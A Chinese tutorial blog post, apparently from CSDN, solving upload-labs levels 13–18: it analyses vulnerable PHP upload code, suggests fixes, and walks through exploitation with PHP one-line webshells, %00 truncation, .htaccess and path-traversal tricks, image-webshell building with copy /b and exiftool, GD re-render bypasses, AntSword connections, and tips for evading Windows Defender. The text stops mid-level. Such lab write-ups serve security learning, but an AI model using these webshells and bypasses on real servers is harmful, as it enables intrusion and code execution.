前言
本文主要内容是upload-labs靶场的pass-13~21的解题步骤及原理讲解,帮助大家更好的了解文件上传漏洞。
相信通过前文Upload-labs:部署靶场及Pass-01实战解析-CSDN博客
pass-2-12:upload-labs靶场的pass-2~21的解题步骤及原理讲解-CSDN博客
大家已经了解如何部署upload-labs靶场以及大体知道了文件上传漏洞是怎么回事
正如前言所说,每一关没有固定的方法,如果有好的其他办法,欢迎大家在评论区交流!
话不多说,我们继续深入了解——文件上传漏洞
先记得一定要把杀毒软件或者别的什么安全防护关掉!要不然会显示是病毒,不让上传
否则:
这是一个非常经典的问题!你遇到的不是 upload-labs 靶场的拦截,而是你本地 Windows 系统的 Windows Defender(安全中心)把文件给“杀”了。
当你选择文件准备上传时,Windows 检测到 whell.php 的内容(eval, $_POST 等特征)像木马,所以在文件还没发出去之前,就阻止了你的操作。
解决方法(三选一)
方法一:给文件夹加“白名单”(最推荐,一劳永逸)
既然你在做网络安全练习,以后还会遇到很多类似的文件,建议把你存放这些文件的文件夹加入排除项。
操作完后,再次上传就不会报错了。
方法二:直接修改文件内容(最快)
Windows Defender 主要是检测文件里的代码特征。你只要稍微改一下内容,它就不认识了。
- 原代码:<?php @eval($_POST['cmd']); ?>
- 改后:<?php @assert($_POST['cmd']); ?>
注意:如果你用蚁剑连接,密码依然是 cmd,不需要改。
方法三:暂时关闭实时防护(不推荐,除非前两个都不行)
建议使用方法一,这样你以后做靶场练习,不管是 Webshell 还是其他工具,都不会被系统自动删除了。搞定这个后,重新上传文件,再用蚁剑连接试试!
在后面的解题中phpstudy可能不太适用了,很大的概率是因为phpstudy版本太高了,比较方便的方法用%00 截断天然失效!如果你真要做的话,phpStudy 2018 (老版本,自带 PHP 5.3 / 5.2)
这是唯一能让 %00 截断生效的环境!你现在用的新版 phpStudy / XAMPP 全是 PHP 7+ / 8+
这篇文章可以当稍微了解一下怎么个做法就好了,因为其实步骤真的差不多,一些小地方才要改
你可以先尝试一下前面几道题,不嫌麻烦的话实操就好了
由于环境配置问题,如果单是用phpstudy的环境只能做前面的,后面的图片马做不了
所以推荐一个靶场运行:BUUCTF在线评测,用第一个linux运行,但是其实也有点不稳定

pass-13(00阶段POST型)
详细分析源代码

一、整体功能
这是一个基于白名单后缀校验的文件上传代码,核心流程是:
二、逐行代码解析
1. 初始化变量
$is_upload = false;
$msg = null;
- $is_upload:标记上传是否成功,初始为 false。
- $msg:存储上传过程中的提示信息,初始为 null。
2. 表单提交判断
if(isset($_POST['submit'])){
判断用户是否点击了表单的 submit 按钮,只有提交请求才会进入上传逻辑。
3. 定义白名单后缀
$ext_arr = array('jpg','png','gif');
定义允许上传的文件后缀白名单,只有这三种后缀的文件才会被允许上传。
4. 提取文件后缀名
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
- strrpos($_FILES['upload_file']['name'], "."):找到文件名中最后一个 . 的位置(比如 shell.php.jpg 会找到最后一个 . 的位置)。
- substr(…, 位置+1):从 . 的下一位开始截取字符串,得到文件后缀名。例如:shell.jpg → 截取后得到 jpg;shell.php.jpg → 截取后得到 jpg。
⚠️ 这里有个细节:如果文件名中没有 .(比如直接叫 shell),strrpos 会返回 false,substr 会从位置 false+1=1 开始截取,直接截取整个文件名,导致校验失效。
5. 白名单校验
if(in_array($file_ext,$ext_arr)){
判断提取到的后缀是否在白名单数组中,只有在白名单内的文件才会进入上传流程。
6. 获取临时文件路径
$temp_file = $_FILES['upload_file']['tmp_name'];
获取文件上传到服务器后的临时路径,后续会用 move_uploaded_file 移动到目标目录。
7. 拼接目标路径(关键漏洞点)
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
- $_POST['save_path']:用户可控的变量,用户可以通过 POST 请求修改这个值。
- rand(10, 99).date("YmdHis"):生成随机数 + 时间戳,避免文件名重复。
- 最终路径格式:用户指定的路径/随机时间戳.后缀。
⚠️ 这里的 $_POST['save_path'] 是用户可控的输入,且没有任何过滤,是核心安全漏洞。
8. 移动文件并标记结果
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传失败";
}
- move_uploaded_file():将临时文件移动到目标路径,成功返回 true,失败返回 false。
- 成功时将 $is_upload 设为 true,失败时设置错误提示。
9. 后缀不合法的处理
} else {
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
如果文件后缀不在白名单中,提示用户只能上传指定类型的文件。
三、核心安全漏洞分析
这段代码的问题主要集中在路径可控和后缀校验不严谨上,在 CTF 或真实环境中都可以被利用。
1. 路径穿越 + 解析漏洞(最严重)
因为 $_POST['save_path'] 是用户可控的,攻击者可以通过修改这个值实现路径穿越,配合服务器解析漏洞 getshell。
常见利用方式:
-
路径穿越写文件:攻击者将 save_path 设置为 ../,就可以将文件上传到网站根目录之外的位置。例如:save_path=../,目标路径会变成 ..//9920250518123456.jpg,如果服务器根目录可写,就可以覆盖配置文件或写 Webshell。
-
配合 Apache/Nginx 解析漏洞:攻击者将 save_path 设置为 xxx.php/,目标路径会变成 xxx.php/9920250518123456.jpg,如果服务器存在目录解析漏洞(如 Nginx 旧版本),会将整个路径解析为 PHP 文件,执行其中的恶意代码。
-
写 .htaccess 控制解析:如果服务器是 Apache,攻击者可以上传 .htaccess 文件,修改 AddHandler php5-script .jpg,让 .jpg 文件被解析为 PHP。利用方式:将 save_path 设置为 .(当前目录),上传包含 AddHandler php5-script .jpg 的 .htaccess 文件,再上传图片马,即可执行代码。
2. 后缀校验的绕过方式
- 文件名无后缀绕过:如果上传的文件名为 shell(无 .),strrpos 返回 false,substr 会从位置 1 开始截取,得到 hell,不在白名单中,无法直接绕过,但如果结合其他漏洞仍有利用空间。
- 双重后缀绕过:上传文件名为 shell.php.jpg,strrpos 会取最后一个 . 后的 jpg,通过白名单校验,但如果服务器存在解析漏洞(如 Apache 的 AddHandler 配置不当),仍会被解析为 PHP。
- 大小写绕过:如果服务器是 Windows 系统,文件后缀不区分大小写,上传 shell.PHP 会被解析为 PHP,但这段代码中 $ext_arr 是小写,无法直接绕过。
3. 其他问题
- 没有对 save_path 做任何过滤,攻击者可以注入 /、../、%00 等特殊字符,实现路径控制。
- 没有限制文件大小,可能导致服务器磁盘被占满。
- 没有验证文件的真实内容(如文件头检测),只能防止简单的后缀伪造,无法阻止图片马。
四、代码加固建议
如果要修复这段代码的安全问题,需要从以下几个方面修改:
禁止用户可控路径:直接将 save_path 改为常量,不允许用户传入:
define('UPLOAD_PATH', './upload');
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_ext;
过滤路径中的特殊字符:如果必须使用用户传入的路径,需要先过滤 ../、/、\\ 等字符:
$save_path = $_POST['save_path'];
// 过滤路径穿越字符
$save_path = preg_replace('/\\.\\.\\//', '', $save_path);
$save_path = preg_replace('/[\\/\\\\\\]/', '', $save_path);
// 限制路径在指定目录内
$img_path = UPLOAD_PATH."/".$save_path."/".rand(10, 99).date("YmdHis").".".$file_ext;
增加文件头校验:用 getimagesize() 或 exif_imagetype() 检测文件的真实图片类型,防止图片马:
$image_info = getimagesize($temp_file);
if(!$image_info){
$msg = "文件不是真实图片!";
return;
}
限制文件大小和 MIME 类型:
if($_FILES['upload_file']['size'] > 2*1024*1024){ // 限制2MB
$msg = "文件过大!";
return;
}
$mime_type = mime_content_type($temp_file);
if(!in_array($mime_type, ['image/jpeg', 'image/png', 'image/gif'])){
$msg = "文件MIME类型不合法!";
return;
}
解题步骤
一、漏洞核心回顾
代码的致命问题:
二、解题前置条件
- 目标环境:PHP + Apache/Nginx(存在目录解析漏洞 / 支持 .htaccess)
- 你可以:
- 抓包修改 POST 请求(推荐用 Burp Suite)
- 上传文件后能知道文件保存路径(题目一般会回显)
三、方法一:利用 Apache 目录解析漏洞(最通用)
步骤 1:准备上传文件
(文件名后缀必须是 jpg/png/gif 之一,否则过不了白名单)

步骤 2:抓包修改 save_path 参数
正常提交上传请求,用 Burp 抓包。
在 POST 数据中找到 save_path 参数,修改为:
save_path=shell.php
(注意:这里不需要写 /,直接写 shell.php 即可)
此时拼接后的文件路径为:
shell.php/[随机时间戳].jpg

步骤 3:利用解析漏洞执行代码
四、方法二:写 .htaccess 控制解析(Apache 环境专用)
如果目标服务器是 Apache,且开启了 AllowOverride,可以用这个方法让 .jpg 文件直接被解析为 PHP。
步骤 1:上传 .htaccess 文件
新建文件 .htaccess,内容:
AddHandler php5-script .jpg
(作用:让所有 .jpg 文件被当作 PHP 解析)
上传 .htaccess 文件:
- 文件名改为 .htaccess.jpg(后缀 jpg 过白名单)
- 抓包修改 save_path 为 .(当前目录),让文件保存到网站根目录。
- 上传成功后,.htaccess.jpg 会被保存为 ./[随机时间戳].jpg,你需要再次上传一个真正的 .htaccess 文件(或者用路径穿越覆盖为 .htaccess)。
步骤 2:上传图片马
五、方法三:路径穿越直接写 Webshell(服务器目录可写时)
如果目标服务器的根目录可写,可以直接用路径穿越把文件上传为 .php。
步骤 1:准备文件
步骤 2:抓包修改 save_path
抓包后修改 save_path 为:
save_path=../
此时文件会被上传到网站根目录的上一级目录。
进一步修改路径,直接写为 shell.php:
save_path=../shell.php
(注意:此时文件后缀会被代码自动加上 .jpg,所以需要结合其他漏洞,比如 %00 截断)
六、方法四:%00 截断上传(旧版本 PHP 可用)
如果目标 PHP 版本 < 5.3.4,且 magic_quotes_gpc=Off,可以用 %00 截断后缀。
为什么这些条件缺一不可?
1. PHP 版本限制
- PHP ≤ 5.3.4:PHP 内核在处理文件路径时,会把 %00 解析为字符串结束符,导致后面的内容被截断。
- PHP ≥ 5.3.4:修复了这个安全漏洞,内核不再把 %00 当作结束符,截断失效。
2. magic_quotes_gpc 限制
- magic_quotes_gpc = Off:用户传入的 %00 不会被自动转义,能原样传入内核。
- magic_quotes_gpc = On:PHP 会自动把 %00 转义为 \\0,失去截断效果。
步骤 1:准备文件
步骤 2:抓包修改文件名
方法1:
(这个如果不行的话用方法2)
save_path=../upload/shell.php%00 点击 Burp 的「放行」按钮
为什么上传失败了?
你用方案一的时候,save_path=../upload/shell.php%00,但上传失败,大概率是因为:
方法2
在文件名里加 %00(本关也能用)
修改上传文件的 filename 为:
shell.php%00.jpg
- 白名单校验会取最后一个 . 后的 jpg,校验通过。
- 服务器保存时,%00 截断,文件实际保存为 shell.php。
如果复制图片地址,新建了一个页面栏显示:

🔍 问题诊断
1. 为什么图片无法显示?
你上传的文件里是纯 PHP 代码,没有任何图片文件头(比如 GIF 的GIF89a、JPG 的FFD8FF),所以浏览器会把它当成损坏的图片文件,直接报错 “无法显示”。
2. 为什么 PHP 代码没被解析?
文件的后缀还是.jpg,服务器只会把它当成静态图片处理,不会交给 PHP 解释器执行里面的代码。蚁剑发送的 POST 请求,服务器只会返回文件的原始内容(PHP 代码文本),不会执行,所以蚁剑提示 “返回数据为空”。
方法3:
上传shell.php,抓包将文件名改为shell.png(或者shell.jpg,都一样,图片文件),将参数save_path的值改为shell.php ,后面的空格将其Hex值改成00,或者按照下图,选中%00右键,点击URL-decode(网址解密)这个%00就会变成一个空格,然后后面步骤一样放行就行

步骤 3:连接 webshell


七、解题关键总结
pass-14(文件头标识)

详细分析源代码

一、整体功能概览
这是一个基于文件头(魔术字节)的文件上传验证代码,它的逻辑是:
二、逐行代码详解
1. getReailFileType() 函数:核心文件头检测
function getReailFileType($filename){
$file = fopen($filename, "rb"); // 以二进制只读模式打开文件
$bin = fread($file, 2); // 只读取文件的前 2 个字节(文件头)
fclose($file);
$strInfo = @unpack("C2chars", $bin); // 把读取的2个字节,按无符号字符解析
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']); // 拼接两个字节为整数
$fileType = '';
// 根据文件头的数值判断文件类型
switch($typeCode){
case 255216: $fileType = 'jpg'; break; // JPG 文件头: FF D8
case 13780: $fileType = 'png'; break; // PNG 文件头: 89 50
case 7173: $fileType = 'gif'; break; // GIF 文件头: 47 49
default: $fileType = 'unknown'; // 其他类型视为未知文件
}
return $fileType;
}
关键点:
- 它只检查文件的前 2 个字节,不验证文件的完整内容,也不检查文件后缀
- 不同图片格式的文件头(魔术字节)是固定的,所以可以通过这种方式快速判断文件类型
2. 上传处理主逻辑
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name']; // 获取上传文件的临时文件名
$file_type = getReailFileType($temp_file); // 调用上面的函数,检测文件类型
if($file_type == 'unknown'){
$msg = "文件未知,上传失败!"; // 非图片文件直接拦截
} else {
// 生成保存路径:随机数 + 时间戳 + 检测到的文件类型后缀
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
关键点:
- 保存文件时,直接用检测到的 $file_type 作为后缀(比如 .jpg),没有保留用户上传的原始文件名
- 最终保存的文件名格式:/upload/9920260518123456.jpg,后缀由检测结果决定
三、安全逻辑与漏洞分析
1. 过滤机制的局限性
- ✅ 优点:能拦截直接上传的 .php 脚本(文件头不是图片格式)
- ❌ 缺点:只检查前 2 个字节,很容易绕过
2. 常见绕过方法(针对这段代码)
方法 1:图片马绕过(最常用)
copy /b test.jpg + shell.php shell.jpg
方法 2:文件头伪造绕过
- JPG:ÿØ(十六进制 FF D8)
- PNG:‰P(十六进制 89 50)
四、和你之前遇到的 Pass-13 有什么区别?
你之前的 Pass-13 代码,核心漏洞是 save_path 参数可控,导致 %00 截断;而这段代码的漏洞点是文件头检测的局限性,和 %00 无关,这是完全不同的关卡。
五、这段代码的安全加固建议
解题步骤
步骤 1:制作图片马
·方法一:cmd合并
准备三个正常的图片文件 ( 1.jpg,2.png,3.gif ) 和一个木马文件(text.php),放在同一个文件夹内。


![]()
text.php 的内容为一句话木马:
<?php @eval($_POST['aa']);?>
在文件夹内打开命令提示符(CMD),执行文件合并命令:
copy 1.jpg/b + text.php/a shell.jpg
copy 2.png/b + text.php/a shell2.png
copy 3.gif/b + text.php/a shell3.gif
(原理:将图片二进制数据与 PHP 代码文本合并,生成看似正常的图片文件 shell.jpg/shell2.png/shell3.gif)
·方法二:使用UltraEdit添加文件前两个字节
(1)查找jpg,png,gif文件的前两个字节

(2)创建txt文件,内容加上一句话木马,文件扩展名改成对应的图片文件扩展名jpg/png/gif。使用UltraEdit在文件前面添加对应两个字节。
接下来,三种图片的操作步骤一样。
步骤 2:上传文件
在火狐中访问 Pass-14 页面:
点击「浏览」,选择制作好的 三种类型图片文件,
点击「上传」,页面提示上传成功,
上传成功后,复制服务器返回的图片文件路径。
步骤3:利用文件包含漏洞
构造攻击 URL:
找到靶场中存在文件包含漏洞的脚本(如 include.php),通过 file 参数传入刚才上传的图片路径。
URL: http://localhost:8080/upload-labs/include.php?file=upload/4220260515182046.jpg
原理:
服务器接收到请求后,include.php 会将 file 参数指定的 .jpg 文件当作 PHP 脚本进行解析和执行,从而绕过文件后缀名的限制。
步骤 4:连接 WebShell
开启 POST 数据发送:
如图所示,勾选 Enable Post data。

设置连接密码:
在 Post data 栏中输入与木马匹配的键值对。
(数据: cmd=系统命令(木马为 eval($_POST['aa']), )
则填 aa=phpinfo();
验证:
发送请求后,若页面返回 phpinfo() 的信息,说明图片马中的代码已被成功执行,漏洞利用成功。
步骤 5:使用中国蚁剑连接 WebShell
(1)打开中国蚁剑
启动中国蚁剑(AntSword)软件,在“数据管理”或“虚拟终端”界面中,右键点击左侧列表,选择“添加数据”。
(2)配置基本信息
在弹出的“添加数据”窗口中,填写以下关键信息:
URL 地址:填入上一步构造的文件包含漏洞利用链接。
如http://localhost:8080/upload-labs/include.php?file=upload/4220260515182046.jpg
(注意:这里必须包含 include.php 脚本路径和 file= 参数,指向你上传的图片马)
连接密码:填入木马文件中定义的 POST 参数名。
根据我们的木马文件,此处应填写:aa
(原理:木马代码为 eval($_POST['aa']),因此蚁剑需要知道通过 aa 这个键名发送指令)

(3)测试与连接
点击窗口上方的“测试连接”按钮。
如果配置正确,软件会提示“连接成功”,并显示目标服务器的操作系统信息(如 Windows 或 Linux)。

点击“添加”保存配置。
完成通关
在蚁剑主界面双击刚刚添加的目标链接,即可打开虚拟终端或文件管理器,成功获取服务器权限,完成通关。

在别的博主那看到其他方法:
通过源码可知:读取图片转化成十六进制后的前两字节,这两字节的不同对应不同的图片。

如果你遇到:
Warning: Unexpected character in input
这个问题非常经典,通常是在做文件包含(File Inclusion)配合图片马(Image Webshell)绕过时出现的。
简单来说,这是因为 PHP 解析器在读取图片文件时,把图片二进制数据中偶然出现的 <? 字符误判为了 PHP 的短标签(Short Open Tag),导致解析混乱。
自己部署的apache+php尝试发现不会出现这个问题,应该还是PHP版本(NTS和TS)差异造成的。
pass-15
详细分析源代码

一、整体功能概览
这是一个基于 getimagesize() 函数的图片文件校验上传代码,核心逻辑是:
二、逐行代码详解
1. isImage() 函数:核心图片校验
function isImage($filename){
// 定义允许的图片后缀
$types = '.jpeg|.png|.gif';
// 先判断文件是否存在
if(file_exists($filename)){
// getimagesize() 读取图片信息,返回数组,其中索引2是图片类型常量
$info = getimagesize($filename);
// 把图片类型常量转为文件后缀(比如 2 转为 .jpeg,3 转为 .png)
$ext = image_type_to_extension($info[2]);
// 判断转换后的后缀是否在允许列表中
if(stripos($types,$ext)>=0){
return $ext; // 校验通过,返回文件后缀
}else{
return false; // 校验失败,返回 false
}
}else{
return false; // 文件不存在,返回 false
}
}
关键细节:
- getimagesize() 是 PHP 内置函数,它会读取文件的真实图片信息(宽高、格式等),只有合法的图片文件才能通过,纯文本的伪造文件头无法绕过它。
- image_type_to_extension() 会根据图片的真实格式,返回标准后缀,不会被文件名的后缀欺骗。
2. 上传处理主逻辑
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
// 获取上传文件的临时文件名(服务器端的临时文件)
$temp_file = $_FILES['upload_file']['tmp_name'];
// 调用 isImage() 函数,校验文件是否为合法图片
$res = isImage($temp_file);
if(!$res){
// 校验失败,提示上传失败
$msg = "文件未知,上传失败!";
}else{
// 校验通过,生成保存路径:随机数 + 时间戳 + 校验得到的后缀
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
// 把临时文件移动到指定路径
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
关键细节:
- 保存文件时,直接用 $res(校验得到的真实图片后缀)作为文件名后缀,不使用用户上传的原始文件名,避免了后缀伪造。
- 最终文件名格式:/upload/9920260518123456.jpeg,后缀由 getimagesize() 的结果决定。
三、安全逻辑与可利用点分析
1. 过滤机制的特点
- ✅ 优点:能拦截纯文本伪造文件头的脚本,也能拦截直接上传的 .php 脚本。
- ❌ 局限性:getimagesize() 只会读取文件的图片结构信息,不会解析文件的全部内容,因此图片马可以绕过。
2. 常见绕过方法(针对这段代码)
方法 1:图片马绕过(最常用)
copy /b test.jpg + shell.php shell.jpg
方法 2:二次渲染绕过(部分场景)
部分服务器会对上传的图片进行二次渲染(比如用 GD 库重新生成图片),清除嵌入的恶意代码。此时需要制作特殊的图片马,让代码在渲染后仍然存在,但难度较高。
四、安全加固建议
五、和你之前的 Pass-13 有什么区别?
- Pass-13 的核心漏洞是 save_path 参数可控导致的 %00 截断,属于路径解析漏洞。
- 这段代码的漏洞点是 getimagesize() 无法检测图片内部嵌入的 PHP 代码,属于文件内容校验的局限性,两者是完全不同的关卡。
解题步骤
步骤1:制作图片马
- 分别新建三张小于1KB的图片
保存为jpg、gif、png形式。
- 使用cmd 分别输入以下三个命令,将他们都复制为shell.jpg、shell.png、shell.gif的格式

步骤2:逐个上传到Pass-15上



后面的步骤就都一样了,没什么区别很简单,估计做到这里,都有点做麻木了吧,哈哈哈
以下这个方法和第14题补充的做法是一样的,可以看一下

pass-16
图片马(图片木马) 是网络安全领域的术语,指将恶意代码(如一句话木马) 隐藏在正常图片文件中形成的特殊 Webshell,外观上与普通图片无异,但可被特定漏洞利用执行代码。
详细分析源代码

一、整体功能概览
这是一个图片上传处理代码,核心流程是:
二、逐行代码解析
1. 自定义函数 isImage($filename)
function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}
- 功能:检测文件的真实图片类型,返回文件后缀名(gif/jpg/png),非图片文件返回 false。
- 核心原理:exif_imagetype() 读取文件头,识别真实图片格式,比单纯检查后缀更安全。
- 依赖条件:需要开启 PHP 的 exif 扩展模块,否则函数会报错。
2. 初始化变量
$is_upload = false;
$msg = null;
- $is_upload:标记上传是否成功,初始为 false。
- $msg:存储上传过程中的提示信息,初始为 null。
3. 处理表单提交逻辑
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
- isset($_POST['submit']):判断是否是表单提交的请求。
- $_FILES['upload_file']['tmp_name']:获取上传文件在服务器上的临时路径。
- $res = isImage($temp_file):调用函数检测图片类型。
- rand(10, 99).date("YmdHis").".".$res:生成随机文件名,格式为 两位随机数 + 年月日时分秒 + 真实后缀,防止文件覆盖。
- move_uploaded_file($temp_file,$img_path):把临时文件移动到目标目录,成功返回 true,失败返回 false。
解题步骤
前期准备
还是用之前的一句话木马,txt改成php文件,最终文件名为shell.php
<?php @eval($_POST['cmd']); ?>
随便找3个图片,(两个截的空白图片)



一、执行以下命令生成图片马
# 1. 生成 JPG 格式图片马(基于2.jpg)
copy /b 2.jpg + shell.php shell.jpg
# 2. 生成 PNG 格式图片马(基于3.png)
copy /b 3.png + shell.php shell.png
# 3. 生成 GIF 格式图片马(基于1.gif)
copy /b 1.gif + shell.php shell.gif


二、打开 Pass-16 的上传页面,依次上传shell.jpg、shell.png、shell.gif三个文件;
每次上传成功后,务必记录服务器返回的文件路径(通常格式为./upload/xxx.jpg,比如upload/shell.jpg);





三、点击文件包含漏洞:
在URL后面输入?= upload/1260303760.png(上一步返回的图片路径)

页面会返回乱码

如果显示以下文件,那就是靶场环境问题,这个我目前还没找到方法解决,稍微看下步骤好了

四、直接用蚁剑连接测试木马是否上传成功

用之前其他博主的方法就是:

pass-17(二次渲染)
详细分析源代码


这是一段带二次渲染的图片上传验证代码,是 Upload-Labs 中防护最严格的关卡之一。我给你逐行拆解,讲清楚它的校验逻辑、防护机制和绕过思路。
一、整体功能概览
这段代码实现了一个三层校验 + 二次渲染的图片上传流程:
二、逐行代码详解
1. 初始化与文件信息获取
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获取上传文件的基本信息
$filename = $_FILES['upload_file']['name']; // 原始文件名
$filetype = $_FILES['upload_file']['type']; // MIME 类型(Content-Type)
$tmpname = $_FILES['upload_file']['tmp_name']; // 服务器临时文件路径
// 生成保存路径
$target_path = UPLOAD_PATH.'/'.basename($filename);
// 提取文件扩展名(如 .jpg/.png)
$fileext = substr(strrchr($filename, "."), 1);
关键点:
- strrchr($filename, ".") 找到文件名中最后一个 .,substr 截取后面的部分,得到文件后缀
- 这里的 $filetype 来自请求头,是客户端可控的,很容易伪造
2. JPG 图片上传流程(含二次渲染)
// 校验后缀 + MIME 类型
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
// GD 库尝试解析图片,验证是否为真实 JPG
$im = imagecreatefromjpeg($target_path);
if($im == false){
// 解析失败,说明不是真实 JPG,删除文件
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
// 解析成功,开始二次渲染
srand(time());
$newfilename = strval(rand()).".jpg"; // 生成随机新文件名
$img_path = UPLOAD_PATH.'/'.$newfilename;
// 用 GD 库重新生成 JPG 图片(核心防护)
imagejpeg($im,$img_path);
// 删除原始上传的文件,只保留渲染后的新图片
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}
关键点:
- imagecreatefromjpeg() 会解析图片的二进制数据,纯文本伪造的文件头无法通过
- imagejpeg($im,$img_path) 会基于解析后的图片资源,重新生成一张标准的 JPG 图片,嵌入的 PHP 代码会被直接清除
- 最终保存的是渲染后的新文件,原始文件会被删除,传统的图片马会失效
3. PNG/GIF 图片上传流程(与 JPG 逻辑一致)
// PNG 校验逻辑
else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
$im = imagecreatefrompng($target_path); // GD 解析 PNG
if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
// 二次渲染生成新 PNG
srand(time());
$newfilename = strval(rand()).".png";
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}
// GIF 校验逻辑
else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
$im = imagecreatefromgif($target_path); // GD 解析 GIF
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
// 二次渲染生成新 GIF
srand(time());
$newfilename = strval(rand()).".gif";
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}
关键点:
- PNG 和 GIF 的逻辑与 JPG 完全一致,只是使用了对应的 GD 函数
- GIF 二次渲染时,GD 库会只保留第一帧,多帧 GIF 中的恶意代码会被清除
4. 不满足条件时的处理
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
三、安全逻辑与防护效果
| 后缀校验 | 拦截非图片后缀的文件 | 低(直接改文件名后缀即可) |
| MIME 校验 | 拦截 Content-Type 非图片类型的请求 | 低(用 Burp 修改请求头即可伪造) |
| GD 库解析校验 | 拦截伪造文件头的非图片文件 | 中(需要制作真实图片) |
| 二次渲染 | 清除文件中嵌入的恶意代码 | 高(传统图片马会失效) |
四、常见绕过思路(针对这段代码)
GIF 图片马绕过
- 制作多帧 GIF 图片,将 PHP 代码嵌入到 GIF 的注释块或特殊帧中
- 部分版本的 GD 库在二次渲染 GIF 时,会保留特定位置的内容,恶意代码可能不会被清除
- 上传后通过文件包含漏洞执行
图片 EXIF 信息注入
- 将 PHP 代码写入图片的 EXIF 元数据中
- 二次渲染后,部分 EXIF 信息可能被保留
- 结合文件包含漏洞,利用 exif_read_data() 等函数解析元数据执行代码
绕过二次渲染的特殊图片
- 制作经过特殊处理的畸形图片,让 GD 库渲染后仍然保留恶意代码
- 这种图片制作难度较高,需要根据不同版本的 GD 库特性针对性构造
五、安全加固建议
总结
这段代码是 Upload-Labs 中防护最全面的关卡之一,传统的文件头伪造、简单图片马都无法绕过,必须结合文件包含漏洞和特殊构造的图片才能利用。
解题步骤
方法一
一、核心原理
- 这段代码对 JPG/PNG 的二次渲染非常严格,几乎会清除所有嵌入的 PHP 代码。
- 但 GIF 格式有特殊优势:部分版本的 GD 库在二次渲染 GIF 时,会保留文件开头的部分注释块 / 数据,恶意代码有概率存活。
- 所以我们的目标是:制作一张经过 GD 渲染后,仍然保留 PHP 代码的 GIF 图片马,再配合文件包含漏洞执行。
二、GIF 图片马制作步骤(两种方法)
方法 1:命令行快速合成(推荐)
bash
运行
copy /b normal.gif + shell.php shell.gif
这个命令会把木马代码追加到 GIF 文件末尾,生成 shell.gif。
方法 2:十六进制编辑器手动制作(更稳定)
php
运行
<?php @eval($_POST['pass']);?>
三、上传与验证步骤
- 代码会经过:后缀校验 → MIME 校验 → GD 解析 → 二次渲染
- 服务器会生成一个随机文件名的 GIF 文件(如 123456.gif),并删除原文件
- 假设文件包含地址为 include.php?file=,构造 URL:
plaintext
http://你的靶场地址/include.php?file=upload/123456.gif
- 如果渲染后的 GIF 里的 PHP 代码存活,就能被解析执行
四、成功率提升技巧
五、补充:如果 GIF 也被清除了怎么办?
如果 GD 库版本较新,GIF 末尾的代码也被清除,可以尝试 EXIF 注入法:
bash
运行
exiftool -Comment="<?php @eval($_POST['pass']);?>" normal.gif
方法二:依旧可以用第14题的做法

这个方法是JPG 图片的二次渲染保留区注入,专门用来绕过你之前那段带 imagecreatefromjpeg() 的代码,我给你按步骤讲清楚,你照着做就能成:
一、核心原理
imagecreatefromjpeg() 对 JPG 进行二次渲染时,只会重写图像数据部分,而文件中某些标记段(如 FF C0 等)的内容会被原样保留。教程的思路是:
二、手把手操作步骤(按教程来)
步骤 1:上传一张正常的 JPG,拿到渲染后的文件
步骤 2:用 010Editor 对比两个文件,找到 “匹配段”
- 教程里标出了 FF C0 附近的区域,这部分在渲染中不会被修改,是最佳注入点。
步骤 3:在匹配段中插入一句话木马
php
运行
<?php eval($_POST['pass']);?>
注意:
- 不要破坏文件开头的 FF D8 等文件头标记,否则无法通过校验。
- 教程里的例子是把代码插在 FF C0 后面的 Match 区域,这样渲染后代码不会被清除。
步骤 4:上传修改后的图片马
步骤 5:用文件包含漏洞执行代码
plaintext
http://你的靶场地址/include.php?file=upload/1308344300.jpg
三、关键注意事项
四、补充:快速上手小技巧
- 如果你找不到 010Editor,也可以用 HxD 等十六进制编辑器,功能是一样的。
- 新手可以直接用教程里的 FF C0 标记后区域尝试,大部分环境下这里都是保留区。
- 如果第一次注入失败,可以换一张图片再对比一次,不同图片的保留段位置会有差异。
pass-18(条件竞争)
详细分析源代码

一、整体流程概览
这段代码的上传流程非常特别,核心逻辑是:
二、逐行代码详解
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
// 1. 定义允许的后缀白名单
$ext_arr = array('jpg','png','gif');
